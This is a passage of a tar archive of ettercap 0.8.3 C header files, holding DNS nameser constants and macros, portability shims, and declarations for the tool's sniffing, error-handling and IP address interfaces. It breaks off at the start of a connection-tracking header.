ns_t_dname = 39, /*%< Non-terminal DNAME (for IPv6) */ ns_t_sink = 40, /*%< Kitchen sink (experimentatl) */ ns_t_opt = 41, /*%< EDNS0 option (meta-RR) */ ns_t_apl = 42, /*%< Address prefix list (RFC3123) */ ns_t_tkey = 249, /*%< Transaction key */ ns_t_tsig = 250, /*%< Transaction signature. */ ns_t_ixfr = 251, /*%< Incremental zone transfer. */ ns_t_axfr = 252, /*%< Transfer zone of authority. */ ns_t_mailb = 253, /*%< Transfer mailbox records. */ ns_t_maila = 254, /*%< Transfer mail agent records. */ ns_t_any = 255, /*%< Wildcard match. */ ns_t_zxfr = 256, /*%< BIND-specific, nonstandard. */ ns_t_max = 65536 } ns_type; /* Exclusively a QTYPE? (not also an RTYPE) */ #define ns_t_qt_p(t) (ns_t_xfr_p(t) || (t) == ns_t_any || \ (t) == ns_t_mailb || (t) == ns_t_maila) /* Some kind of meta-RR? (not a QTYPE, but also not an RTYPE) */ #define ns_t_mrr_p(t) ((t) == ns_t_tsig || (t) == ns_t_opt) /* Exclusively an RTYPE? (not also a QTYPE or a meta-RR) */ #define ns_t_rr_p(t) (!ns_t_qt_p(t) && !ns_t_mrr_p(t)) #define ns_t_udp_p(t) ((t) != ns_t_axfr && (t) != ns_t_zxfr) #define ns_t_xfr_p(t) ((t) == ns_t_axfr || (t) == ns_t_ixfr || \ (t) == ns_t_zxfr) /*% * Values for class field */ typedef enum __ns_class { ns_c_invalid = 0, /*%< Cookie. */ ns_c_in = 1, /*%< Internet. */ ns_c_2 = 2, /*%< unallocated/unsupported. */ ns_c_chaos = 3, /*%< MIT Chaos-net. */ ns_c_hs = 4, /*%< MIT Hesiod. */ /* Query class values which do not appear in resource records */ ns_c_none = 254, /*%< for prereq. sections in update requests */ ns_c_any = 255, /*%< Wildcard match. */ ns_c_max = 65536 } ns_class; /* DNSSEC constants. */ typedef enum __ns_key_types { ns_kt_rsa = 1, /*%< key type RSA/MD5 */ ns_kt_dh = 2, /*%< Diffie Hellman */ ns_kt_dsa = 3, /*%< Digital Signature Standard (MANDATORY) */ ns_kt_private = 254 /*%< Private key type starts with OID */ } ns_key_types; typedef enum __ns_cert_types { cert_t_pkix = 1, /*%< PKIX (X.509v3) */ cert_t_spki = 2, /*%< SPKI */ cert_t_pgp = 3, /*%< PGP */ cert_t_url = 253, /*%< URL private type */ cert_t_oid = 254 /*%< OID private type */ } ns_cert_types; /* Flags field of the KEY RR rdata. */ #define NS_KEY_TYPEMASK 0xC000 /*%< Mask for "type" bits */ #define NS_KEY_TYPE_AUTH_CONF 0x0000 /*%< Key usable for both */ #define NS_KEY_TYPE_CONF_ONLY 0x8000 /*%< Key usable for confidentiality */ #define NS_KEY_TYPE_AUTH_ONLY 0x4000 /*%< Key usable for authentication */ #define NS_KEY_TYPE_NO_KEY 0xC000 /*%< No key usable for either; no key */ /* The type bits can also be interpreted independently, as single bits: */ #define NS_KEY_NO_AUTH 0x8000 /*%< Key unusable for authentication */ #define NS_KEY_NO_CONF 0x4000 /*%< Key unusable for confidentiality */ #define NS_KEY_RESERVED2 0x2000 /* Security is *mandatory* if bit=0 */ #define NS_KEY_EXTENDED_FLAGS 0x1000 /*%< reserved - must be zero */ #define NS_KEY_RESERVED4 0x0800 /*%< reserved - must be zero */ #define NS_KEY_RESERVED5 0x0400 /*%< reserved - must be zero */ #define NS_KEY_NAME_TYPE 0x0300 /*%< these bits determine the type */ #define NS_KEY_NAME_USER 0x0000 /*%< key is assoc. with user */ #define NS_KEY_NAME_ENTITY 0x0200 /*%< key is assoc. with entity eg host */ #define NS_KEY_NAME_ZONE 0x0100 /*%< key is zone key */ #define NS_KEY_NAME_RESERVED 0x0300 /*%< reserved meaning */ #define NS_KEY_RESERVED8 0x0080 /*%< reserved - must be zero */ #define NS_KEY_RESERVED9 0x0040 /*%< reserved - must be zero */ #define NS_KEY_RESERVED10 0x0020 /*%< reserved - must be zero */ #define NS_KEY_RESERVED11 0x0010 /*%< reserved - must be zero */ #define NS_KEY_SIGNATORYMASK 0x000F /*%< key can sign RR's of same name */ #define NS_KEY_RESERVED_BITMASK ( NS_KEY_RESERVED2 | \ NS_KEY_RESERVED4 | \ NS_KEY_RESERVED5 | \ NS_KEY_RESERVED8 | \ NS_KEY_RESERVED9 | \ NS_KEY_RESERVED10 | \ NS_KEY_RESERVED11 ) #define NS_KEY_RESERVED_BITMASK2 0xFFFF /*%< no bits defined here */ /* The Algorithm field of the KEY and SIG RR's is an integer, {1..254} */ #define NS_ALG_MD5RSA 1 /*%< MD5 with RSA */ #define NS_ALG_DH 2 /*%< Diffie Hellman KEY */ #define NS_ALG_DSA 3 /*%< DSA KEY */ #define NS_ALG_DSS NS_ALG_DSA #define NS_ALG_EXPIRE_ONLY 253 /*%< No alg, no security */ #define NS_ALG_PRIVATE_OID 254 /*%< Key begins with OID giving alg */ /* Protocol values */ /* value 0 is reserved */ #define NS_KEY_PROT_TLS 1 #define NS_KEY_PROT_EMAIL 2 #define NS_KEY_PROT_DNSSEC 3 #define NS_KEY_PROT_IPSEC 4 #define NS_KEY_PROT_ANY 255 /* Signatures */ #define NS_MD5RSA_MIN_BITS 512 /*%< Size of a mod or exp in bits */ #define NS_MD5RSA_MAX_BITS 4096 /* Total of binary mod and exp */ #define NS_MD5RSA_MAX_BYTES ((NS_MD5RSA_MAX_BITS+7/8)*2+3) /* Max length of text sig block */ #define NS_MD5RSA_MAX_BASE64 (((NS_MD5RSA_MAX_BYTES+2)/3)*4) #define NS_MD5RSA_MIN_SIZE ((NS_MD5RSA_MIN_BITS+7)/8) #define NS_MD5RSA_MAX_SIZE ((NS_MD5RSA_MAX_BITS+7)/8) #define NS_DSA_SIG_SIZE 41 #define NS_DSA_MIN_SIZE 213 #define NS_DSA_MAX_BYTES 405 /* Offsets into SIG record rdata to find various values */ #define NS_SIG_TYPE 0 /*%< Type flags */ #define NS_SIG_ALG 2 /*%< Algorithm */ #define NS_SIG_LABELS 3 /*%< How many labels in name */ #define NS_SIG_OTTL 4 /*%< Original TTL */ #define NS_SIG_EXPIR 8 /*%< Expiration time */ #define NS_SIG_SIGNED 12 /*%< Signature time */ #define NS_SIG_FOOT 16 /*%< Key footprint */ #define NS_SIG_SIGNER 18 /*%< Domain name of who signed it */ /* How RR types are represented as bit-flags in NXT records */ #define NS_NXT_BITS 8 #define NS_NXT_BIT_SET( n,p) (p[(n)/NS_NXT_BITS] |= (0x80>>((n)%NS_NXT_BITS))) #define NS_NXT_BIT_CLEAR(n,p) (p[(n)/NS_NXT_BITS] &= ~(0x80>>((n)%NS_NXT_BITS))) #define NS_NXT_BIT_ISSET(n,p) (p[(n)/NS_NXT_BITS] & (0x80>>((n)%NS_NXT_BITS))) #define NS_NXT_MAX 127 /*% * EDNS0 extended flags and option codes, host order. */ #define NS_OPT_DNSSEC_OK 0x8000U #define NS_OPT_NSID 3 /*% * Inline versions of get/put short/long. Pointer is advanced. */ #define NS_GET16(s, cp) do { \ const u_char *t_cp = (const u_char *)(cp); \ (s) = ((u_int16_t)t_cp[0] << 8) \ | ((u_int16_t)t_cp[1]) \ ; \ (cp) += NS_INT16SZ; \ } while (0) #define NS_GET32(l, cp) do { \ const u_char *t_cp = (const u_char *)(cp); \ (l) = ((u_int32_t)t_cp[0] << 24) \ | ((u_int32_t)t_cp[1] << 16) \ | ((u_int32_t)t_cp[2] << 8) \ | ((u_int32_t)t_cp[3]) \ ; \ (cp) += NS_INT32SZ; \ } while (0) #define NS_PUT16(s, cp) do { \ u_int16_t t_s = (u_int16_t)(s); \ u_char *t_cp = (u_char *)(cp); \ *t_cp++ = t_s >> 8; \ *t_cp = t_s; \ (cp) += NS_INT16SZ; \ } while (0) #define NS_PUT32(l, cp) do { \ u_int32_t t_l = (u_int32_t)(l); \ u_char *t_cp = (u_char *)(cp); \ *t_cp++ = t_l >> 24; \ *t_cp++ = t_l >> 16; \ *t_cp++ = t_l >> 8; \ *t_cp = t_l; \ (cp) += NS_INT32SZ; \ } while (0) __BEGIN_DECLS int ns_msg_getflag (ns_msg, int) __THROW; u_int ns_get16 (const u_char *) __THROW; u_long ns_get32 (const u_char *) __THROW; void ns_put16 (u_int, u_char *) __THROW; void ns_put32 (u_long, u_char *) __THROW; int ns_initparse (const u_char *, int, ns_msg *) __THROW; int ns_skiprr (const u_char *, const u_char *, ns_sect, int) __THROW; int ns_parserr (ns_msg *, ns_sect, int, ns_rr *) __THROW; int ns_sprintrr (const ns_msg *, const ns_rr *, const char *, const char *, char *, size_t) __THROW; int ns_sprintrrf (const u_char *, size_t, const char *, ns_class, ns_type, u_long, const u_char *, size_t, const char *, const char *, char *, size_t) __THROW; int ns_format_ttl (u_long, char *, size_t) __THROW; int ns_parse_ttl (const char *, u_long *) __THROW; u_int32_t ns_datetosecs (const char *, int *) __THROW; int ns_name_ntol (const u_char *, u_char *, size_t) __THROW; int ns_name_ntop (const u_char *, char *, size_t) __THROW; int ns_name_pton (const char *, u_char *, size_t) __THROW; int ns_name_unpack (const u_char *, const u_char *, const u_char *, u_char *, size_t) __THROW; int ns_name_pack (const u_char *, u_char *, int, const u_char **, const u_char **) __THROW; int ns_name_uncompress (const u_char *, const u_char *, const u_char *, char *, size_t) __THROW; int ns_name_compress (const char *, u_char *, size_t, const u_char **, const u_char **) __THROW; int ns_name_skip (const u_char **, const u_char *) __THROW; void ns_name_rollback (const u_char *, const u_char **, const u_char **) __THROW; int ns_sign (u_char *, int *, int, int, void *, const u_char *, int, u_char *, int *, time_t) __THROW; int ns_sign2 (u_char *, int *, int, int, void *, const u_char *, int, u_char *, int *, time_t, u_char **, u_char **) __THROW; int ns_sign_tcp (u_char *, int *, int, int, ns_tcp_tsig_state *, int) __THROW; int ns_sign_tcp2 (u_char *, int *, int, int, ns_tcp_tsig_state *, int, u_char **, u_char **) __THROW; int ns_sign_tcp_init (void *, const u_char *, int, ns_tcp_tsig_state *) __THROW; u_char *ns_find_tsig (u_char *, u_char *) __THROW; int ns_verify (u_char *, int *, void *, const u_char *, int, u_char *, int *, time_t *, int) __THROW; int ns_verify_tcp (u_char *, int *, ns_tcp_tsig_state *, int) __THROW; int ns_verify_tcp_init (void *, const u_char *, int, ns_tcp_tsig_state *) __THROW; int ns_samedomain (const char *, const char *) __THROW; int ns_subdomain (const char *, const char *) __THROW; int ns_makecanon (const char *, char *, size_t) __THROW; int ns_samename (const char *, const char *) __THROW; __END_DECLS #ifdef BIND_4_COMPAT #include #endif #endif /* !_ARPA_NAMESER_H_ */ /*! \file */ ettercap-0.8.3/include/missing/nameser_compat.h0000644000175000017500000001407513505247364021445 0ustar koeppeakoeppea/* Copyright (c) 1983, 1989 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /*% * from nameser.h 8.1 (Berkeley) 6/2/93 * $BINDId: nameser_compat.h,v 8.11 1999/01/02 08:00:58 vixie Exp $ */ #ifndef _ARPA_NAMESER_COMPAT_ #define _ARPA_NAMESER_COMPAT_ #define __BIND 19950621 /*%< (DEAD) interface version stamp. */ #include /*% * Structure for query header. The order of the fields is machine- and * compiler-dependent, depending on the byte/bit order and the layout * of bit fields. We use bit fields only in int variables, as this * is all ANSI requires. This requires a somewhat confusing rearrangement. */ typedef struct { unsigned id :16; /*%< query identification number */ #if BYTE_ORDER == BIG_ENDIAN /* fields in third byte */ unsigned qr: 1; /*%< response flag */ unsigned opcode: 4; /*%< purpose of message */ unsigned aa: 1; /*%< authoritive answer */ unsigned tc: 1; /*%< truncated message */ unsigned rd: 1; /*%< recursion desired */ /* fields in fourth byte */ unsigned ra: 1; /*%< recursion available */ unsigned unused :1; /*%< unused bits (MBZ as of 4.9.3a3) */ unsigned ad: 1; /*%< authentic data from named */ unsigned cd: 1; /*%< checking disabled by resolver */ unsigned rcode :4; /*%< response code */ #endif #if BYTE_ORDER == LITTLE_ENDIAN || BYTE_ORDER == PDP_ENDIAN /* fields in third byte */ unsigned rd :1; /*%< recursion desired */ unsigned tc :1; /*%< truncated message */ unsigned aa :1; /*%< authoritive answer */ unsigned opcode :4; /*%< purpose of message */ unsigned qr :1; /*%< response flag */ /* fields in fourth byte */ unsigned rcode :4; /*%< response code */ unsigned cd: 1; /*%< checking disabled by resolver */ unsigned ad: 1; /*%< authentic data from named */ unsigned unused :1; /*%< unused bits (MBZ as of 4.9.3a3) */ unsigned ra :1; /*%< recursion available */ #endif /* remaining bytes */ unsigned qdcount :16; /*%< number of question entries */ unsigned ancount :16; /*%< number of answer entries */ unsigned nscount :16; /*%< number of authority entries */ unsigned arcount :16; /*%< number of resource entries */ } HEADER; #define PACKETSZ NS_PACKETSZ #define MAXDNAME NS_MAXDNAME #define MAXCDNAME NS_MAXCDNAME #define MAXLABEL NS_MAXLABEL #define HFIXEDSZ NS_HFIXEDSZ #define QFIXEDSZ NS_QFIXEDSZ #define RRFIXEDSZ NS_RRFIXEDSZ #define INT32SZ NS_INT32SZ #define INT16SZ NS_INT16SZ #define INT8SZ NS_INT8SZ #define INADDRSZ NS_INADDRSZ #define IN6ADDRSZ NS_IN6ADDRSZ #define INDIR_MASK NS_CMPRSFLGS #define NAMESERVER_PORT NS_DEFAULTPORT #define S_ZONE ns_s_zn #define S_PREREQ ns_s_pr #define S_UPDATE ns_s_ud #define S_ADDT ns_s_ar #define QUERY ns_o_query #define IQUERY ns_o_iquery #define STATUS ns_o_status #define NS_NOTIFY_OP ns_o_notify #define NS_UPDATE_OP ns_o_update #define NOERROR ns_r_noerror #define FORMERR ns_r_formerr #define SERVFAIL ns_r_servfail #define NXDOMAIN ns_r_nxdomain #define NOTIMP ns_r_notimpl #define REFUSED ns_r_refused #define YXDOMAIN ns_r_yxdomain #define YXRRSET ns_r_yxrrset #define NXRRSET ns_r_nxrrset #define NOTAUTH ns_r_notauth #define NOTZONE ns_r_notzone /*#define BADSIG ns_r_badsig*/ /*#define BADKEY ns_r_badkey*/ /*#define BADTIME ns_r_badtime*/ #define DELETE ns_uop_delete #define ADD ns_uop_add #define T_A ns_t_a #define T_NS ns_t_ns #define T_MD ns_t_md #define T_MF ns_t_mf #define T_CNAME ns_t_cname #define T_SOA ns_t_soa #define T_MB ns_t_mb #define T_MG ns_t_mg #define T_MR ns_t_mr #define T_NULL ns_t_null #define T_WKS ns_t_wks #define T_PTR ns_t_ptr #define T_HINFO ns_t_hinfo #define T_MINFO ns_t_minfo #define T_MX ns_t_mx #define T_TXT ns_t_txt #define T_RP ns_t_rp #define T_AFSDB ns_t_afsdb #define T_X25 ns_t_x25 #define T_ISDN ns_t_isdn #define T_RT ns_t_rt #define T_NSAP ns_t_nsap #define T_NSAP_PTR ns_t_nsap_ptr #define T_SIG ns_t_sig #define T_KEY ns_t_key #define T_PX ns_t_px #define T_GPOS ns_t_gpos #define T_AAAA ns_t_aaaa #define T_LOC ns_t_loc #define T_NXT ns_t_nxt #define T_EID ns_t_eid #define T_NIMLOC ns_t_nimloc #define T_SRV ns_t_srv #define T_ATMA ns_t_atma #define T_NAPTR ns_t_naptr #define T_A6 ns_t_a6 #define T_DNAME ns_t_dname #define T_TSIG ns_t_tsig #define T_IXFR ns_t_ixfr #define T_AXFR ns_t_axfr #define T_MAILB ns_t_mailb #define T_MAILA ns_t_maila #define T_ANY ns_t_any #define C_IN ns_c_in #define C_CHAOS ns_c_chaos #define C_HS ns_c_hs /* BIND_UPDATE */ #define C_NONE ns_c_none #define C_ANY ns_c_any #define GETSHORT NS_GET16 #define GETLONG NS_GET32 #define PUTSHORT NS_PUT16 #define PUTLONG NS_PUT32 #endif /* _ARPA_NAMESER_COMPAT_ */ /*! \file */ ettercap-0.8.3/include/missing/strsep.h0000644000175000017500000000022113505247364017754 0ustar koeppeakoeppea#ifndef EC_API_EXTERN #error Move this header somewhere else #endif EC_API_EXTERN char * strsep(char **stringp, const char *delim); /* EOF */ ettercap-0.8.3/include/missing/ncurses_mingw.h0000644000175000017500000000122313505247364021322 0ustar koeppeakoeppea#ifndef _NCURSES_FOR_WINDOWS_H #define _NCURSES_FOR_WINDOWS_H /* * A little helper for ncurses code on Windows. * OS_WINDOWS doesn't really use the full ncurses yet, but a small * layer on-top of PD-curses. */ #include #undef MOUSE_MOVED /* */ #include /* PDcurses */ #include /* part of ncurses */ /* from ncurses 5.4 */ extern const char *curses_version (void); extern int vwprintw (WINDOW *, const char *,va_list); #define vw_printw vwprintw extern int wresize (WINDOW *, int, int); extern bool wenclose (const WINDOW *, int, int); #endif /* _NCURSES_FOR_WINDOWS_H */ ettercap-0.8.3/include/missing/strlcpy.h0000644000175000017500000000011313505247364020134 0ustar koeppeakoeppea extern size_t strlcpy(char *dst, const char *src, size_t siz); /* EOF */ ettercap-0.8.3/include/ef.h0000644000175000017500000000103713505247364015363 0ustar koeppeakoeppea#ifndef ETTERFILTER_H #define ETTERFILTER_H #include #include #include struct ef_globals { char *source_file; char *output_file; u_int32 lineno; u_int8 debug; u_int8 suppress_warnings; }; /* in el_main.c */ extern struct ef_globals *ef_gbls; #define EF_GBL_OPTIONS ef_gbls #define EF_GBL ef_gbls EC_API_EXTERN void ef_globals_alloc(void); EC_API_EXTERN void ef_globals_free(void); EC_API_EXTERN void ef_exit(int code); #endif /* EL_H */ /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_dispatcher.h0000644000175000017500000000040113505247364017560 0ustar koeppeakoeppea#ifndef ETTERCAP_DISPATCHER_H #define ETTERCAP_DISPATCHER_H #include #include EC_API_EXTERN void top_half_queue_add(struct packet_object *po); EC_API_EXTERN EC_THREAD_FUNC(top_half); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_sniff_unified.h0000644000175000017500000000066313505247364020254 0ustar koeppeakoeppea#ifndef ETTERCAP_SNIFF_UNIFIED_H #define ETTERCAP_SNIFF_UNIFIED_H /* exported functions */ EC_API_EXTERN void start_unified_sniff(void); EC_API_EXTERN void stop_unified_sniff(void); EC_API_EXTERN void forward_unified_sniff(struct packet_object *po); EC_API_EXTERN void unified_check_forwarded(struct packet_object *po); EC_API_EXTERN void unified_set_forwardable(struct packet_object *po); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_http.h0000644000175000017500000000020613505247364016414 0ustar koeppeakoeppea#ifndef ETTERCAP_HTTP_H #define ETTERCAP_HTTP_H EC_API_EXTERN int http_fields_init(void); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_strings.h0000644000175000017500000000324213505247364017131 0ustar koeppeakoeppea#ifndef ETTERCAP_STRINGS_H #define ETTERCAP_STRINGS_H #ifdef HAVE_CTYPE_H #include #else extern int isprint(int c); #endif #ifndef HAVE_STRLCAT_FUNCTION #ifndef HAVE_STRLCAT #include #else #include #endif #else #include #endif #ifndef HAVE_STRLCPY_FUNCTION #ifndef HAVE_STRLCPY #include #else #include #endif #else #include #endif #ifndef HAVE_STRSEP #include #endif #ifndef HAVE_STRCASESTR #include #endif #ifndef HAVE_MEMMEM #include #endif #ifndef HAVE_MEMRCHR #include #endif #ifndef HAVE_BASENAME #include #endif EC_API_EXTERN int match_pattern(const char *s, const char *pattern); EC_API_EXTERN int base64_decode(char *bufplain, const char *bufcoded); EC_API_EXTERN int strescape(char *dst, char *src, size_t len); EC_API_EXTERN int str_replace(char **text, const char *s, const char *d); EC_API_EXTERN size_t strlen_utf8(const char *s); EC_API_EXTERN char * ec_strtok(char *s, const char *delim, char **ptrptr); EC_API_EXTERN char getchar_buffer(char **buf); EC_API_EXTERN int str_hex_to_bytes(char *string, u_char *bytes); EC_API_EXTERN char * str_tohex(u_char *bin, size_t len, char *dst, size_t dst_len); EC_API_EXTERN int ec_strsplit_ipport(char *input, char *ip, u_int16 *port); EC_API_EXTERN const char * ec_strlc(const char *input); EC_API_EXTERN const char * ec_struc(const char *input); #define strtok(x,y) DON_T_USE_STRTOK_DIRECTLY_USE__EC_STRTOK__INSTEAD #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_sniff.h0000644000175000017500000000251013505247364016542 0ustar koeppeakoeppea#ifndef ETTERCAP_SNIFF_H #define ETTERCAP_SNIFF_H #include struct sniffing_method { char type; /* the type of the sniffing method */ #define SM_UNIFIED 0 #define SM_BRIDGED 1 char active; /* true if the sniff was started */ void (*start)(void); void (*cleanup)(void); void (*check_forwarded)(struct packet_object *po); void (*set_forwardable)(struct packet_object *po); void (*forward)(struct packet_object *po); void (*interesting)(struct packet_object *po); /* this function set the PO_IGNORE flag */ }; /* exported functions */ /* forwarder (the struct is in ec_globals.h) */ struct target_env; EC_API_EXTERN void set_sniffing_method(struct sniffing_method *sm); EC_API_EXTERN void set_unified_sniff(void); EC_API_EXTERN void set_bridge_sniff(void); EC_API_EXTERN int compile_display_filter(void); EC_API_EXTERN int compile_target(char *string, struct target_env *target); EC_API_EXTERN void reset_display_filter(struct target_env *t); EC_API_EXTERN void del_ip_list(struct ip_addr *ip, struct target_env *t); EC_API_EXTERN int cmp_ip_list(struct ip_addr *ip, struct target_env *t); EC_API_EXTERN void add_ip_list(struct ip_addr *ip, struct target_env *t); EC_API_EXTERN void free_ip_list(struct target_env *t); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_error.h0000644000175000017500000000251313505247364016571 0ustar koeppeakoeppea#ifndef ETTERCAP_ERROR_H #define ETTERCAP_ERROR_H #include #include enum { E_SUCCESS = 0, E_NOTFOUND = 1, E_NOMATCH = 2, E_NOTHANDLED = 3, E_INVALID = 4, E_NOADDRESS = 5, E_DUPLICATE = 6, E_TIMEOUT = 7, E_INITFAIL = 8, E_FOUND = 128, E_BRIDGE = 129, E_VERSION = 254, E_FATAL = 255, }; EC_API_EXTERN void error_msg(char *file, const char *function, int line, char *message, ...); EC_API_EXTERN void warn_msg(char *file, const char *function, int line, char *message, ...); EC_API_EXTERN void fatal_error(char *message, ...); EC_API_EXTERN void bug(char *file, const char *function, int line, char *message); #define WARN_MSG(x, ...) warn_msg(__FILE__, __FUNCTION__, __LINE__, x, ## __VA_ARGS__ ) #define ERROR_MSG(x, ...) error_msg(__FILE__, __FUNCTION__, __LINE__, x, ## __VA_ARGS__ ) #define FATAL_ERROR(x, ...) do { fatal_error(x, ## __VA_ARGS__ ); } while(0) #define ON_ERROR(x, y, fmt, ...) do { if (x == y) ERROR_MSG(fmt, ## __VA_ARGS__ ); } while(0) #define BUG_IF(x) do { if (x) bug(__FILE__, __FUNCTION__, __LINE__, #x); }while(0) #define BUG(x) do { bug(__FILE__, __FUNCTION__, __LINE__, #x); }while(0) #define NOT_IMPLEMENTED() do { BUG("Not yet implemented, please contact the authors"); } while(0) #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_inet.h0000644000175000017500000001237013505247364016401 0ustar koeppeakoeppea#ifndef ETTERCAP_INET_H #define ETTERCAP_INET_H #include #ifdef OS_WINDOWS #include #include #else #include #include #include #endif #include #ifdef OS_CYGWIN #ifndef AF_INET6 /* XXX - ugly hack only to make it compile */ #define AF_INET6 23 #endif #endif /* * define non-standard address family identifier * used in the Null/Loopback encapsulation origined * on several BSD derivates */ #define AF_INET6_LINUX 10 #define AF_INET6_BSD 24 #define AF_INET6_FREEBSD 28 #define AF_INET6_DARWIN 30 #define ETH_ADDR_LEN 6 #define TR_ADDR_LEN 6 #define FDDI_ADDR_LEN 6 #define MEDIA_ADDR_LEN 6 #define IP_ADDR_LEN 4 #define IP6_ADDR_LEN 16 #define MAX_IP_ADDR_LEN IP6_ADDR_LEN #define ETH_ASCII_ADDR_LEN 19 // sizeof("ff:ff:ff:ff:ff:ff")+1 #define IP_ASCII_ADDR_LEN 17 // sizeof("255.255.255.255")+1 #define IP6_ASCII_ADDR_LEN 47 // sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")+1 #define MAX_ASCII_ADDR_LEN IP6_ASCII_ADDR_LEN /* * Some predefined addresses here */ #define IP6_ALL_NODES "\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" #define IP6_ALL_ROUTERS "\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" #define IP6_SOL_NODE "\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x00" #define IP6_DSTOPT_UNKN "\x80\x01\x00\x00\x00" #define LLA_IP6_ALLNODES_MULTICAST "\x33\x33\x00\x00\x00\x01" /* * this structure is used by ettercap to handle * an IP packet disregarding its version */ struct ip_addr { u_int16 addr_type; u_int16 addr_len; /* this must be aligned in memory */ union { u_int8 addr[MAX_IP_ADDR_LEN]; u_int16 addr16[MAX_IP_ADDR_LEN/2]; u_int32 addr32[MAX_IP_ADDR_LEN/4]; }; }; struct net_list { struct ip_addr ip; struct ip_addr netmask; struct ip_addr network; u_int8 prefix; LIST_ENTRY(net_list) next; }; EC_API_EXTERN int ip_addr_init(struct ip_addr *sa, u_int16 type, u_char *addr); EC_API_EXTERN int ip_addr_cpy(u_char *addr, struct ip_addr *sa); EC_API_EXTERN int ip_addr_cmp(struct ip_addr *sa, struct ip_addr *sb); EC_API_EXTERN int ip_addr_null(struct ip_addr *sa); EC_API_EXTERN int ip_addr_is_zero(struct ip_addr *sa); EC_API_EXTERN int ip_addr_random(struct ip_addr* ip, u_int16 type); EC_API_EXTERN int ip_addr_init_sol(struct ip_addr* sn, struct ip_addr* ip, u_int8 *tmac); EC_API_EXTERN char *ip_addr_ntoa(struct ip_addr *sa, char *dst); EC_API_EXTERN int ip_addr_pton(char *str, struct ip_addr *addr); EC_API_EXTERN char *mac_addr_ntoa(u_char *mac, char *dst); EC_API_EXTERN int mac_addr_aton(char *str, u_char *mac); EC_API_EXTERN int ip_addr_is_local(struct ip_addr *sa, struct ip_addr *ifaddr); EC_API_EXTERN int ip_addr_is_global(struct ip_addr *ip); EC_API_EXTERN int ip_addr_is_multicast(struct ip_addr *ip); EC_API_EXTERN int ip_addr_is_broadcast(struct ip_addr *sa); EC_API_EXTERN int ip_addr_is_ours(struct ip_addr *ip); EC_API_EXTERN int ip_addr_get_network(struct ip_addr*, struct ip_addr*, struct ip_addr*); EC_API_EXTERN int ip_addr_get_prefix(struct ip_addr* netmask); /* * this prototypes are implemented in ./os/.../ * each OS implement its specific function */ EC_API_EXTERN void disable_ip_forward(void); EC_API_EXTERN void restore_ip_forward(void); EC_API_EXTERN u_int16 get_iface_mtu(const char *iface); #ifdef WITH_IPV6 EC_API_EXTERN void disable_ipv6_forward(void); EC_API_EXTERN void restore_ipv6_forward(void); #endif #ifdef OS_LINUX EC_API_EXTERN void disable_interface_offload(void); #endif #if defined OS_LINUX && defined WITH_IPV6 EC_API_EXTERN void check_tempaddr(const char *iface); #endif /********************/ #ifdef WORDS_BIGENDIAN /* BIG ENDIAN */ #define phtos(x) ( (u_int16) \ ((u_int16)*((u_int8 *)x+1)<<8| \ (u_int16)*((u_int8 *)x+0)<<0) \ ) #define phtol(x) ( (u_int32)*((u_int8 *)x+3)<<24| \ (u_int32)*((u_int8 *)x+2)<<16| \ (u_int32)*((u_int8 *)x+1)<<8| \ (u_int32)*((u_int8 *)x+0)<<0 \ ) #define pntos(x) ( (u_int16) \ ((u_int16)*((u_int8 *)x+1)<<0| \ (u_int16)*((u_int8 *)x+0)<<8) \ ) #define pntol(x) ( (u_int32)*((u_int8 *)x+3)<<0| \ (u_int32)*((u_int8 *)x+2)<<8| \ (u_int32)*((u_int8 *)x+1)<<16| \ (u_int32)*((u_int8 *)x+0)<<24 \ ) /* return little endian */ #define htons_inv(x) (u_int16)(x << 8) | (x >> 8) #define ORDER_ADD_SHORT(a, b) a = a + b #define ORDER_ADD_LONG(a, b) a = a + b #else /* LITTLE ENDIAN */ #define phtos(x) *(u_int16 *)(x) #define phtol(x) *(u_int32 *)(x) #define pntos(x) ntohs(*(u_int16 *)(x)) #define pntol(x) ntohl(*(u_int32 *)(x)) /* return little endian */ #define htons_inv(x) (u_int16)x #define ORDER_ADD_SHORT(a, b) a = htons(ntohs(a) + (int16)b) #define ORDER_ADD_LONG(a, b) a = htonl(ntohl(a) + (int32)b) #endif #define int_ntoa(x) inet_ntoa(*((struct in_addr *)&(x))) #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_conntrack.h0000644000175000017500000000504713505247364017427 0ustar koeppeakoeppea#ifndef 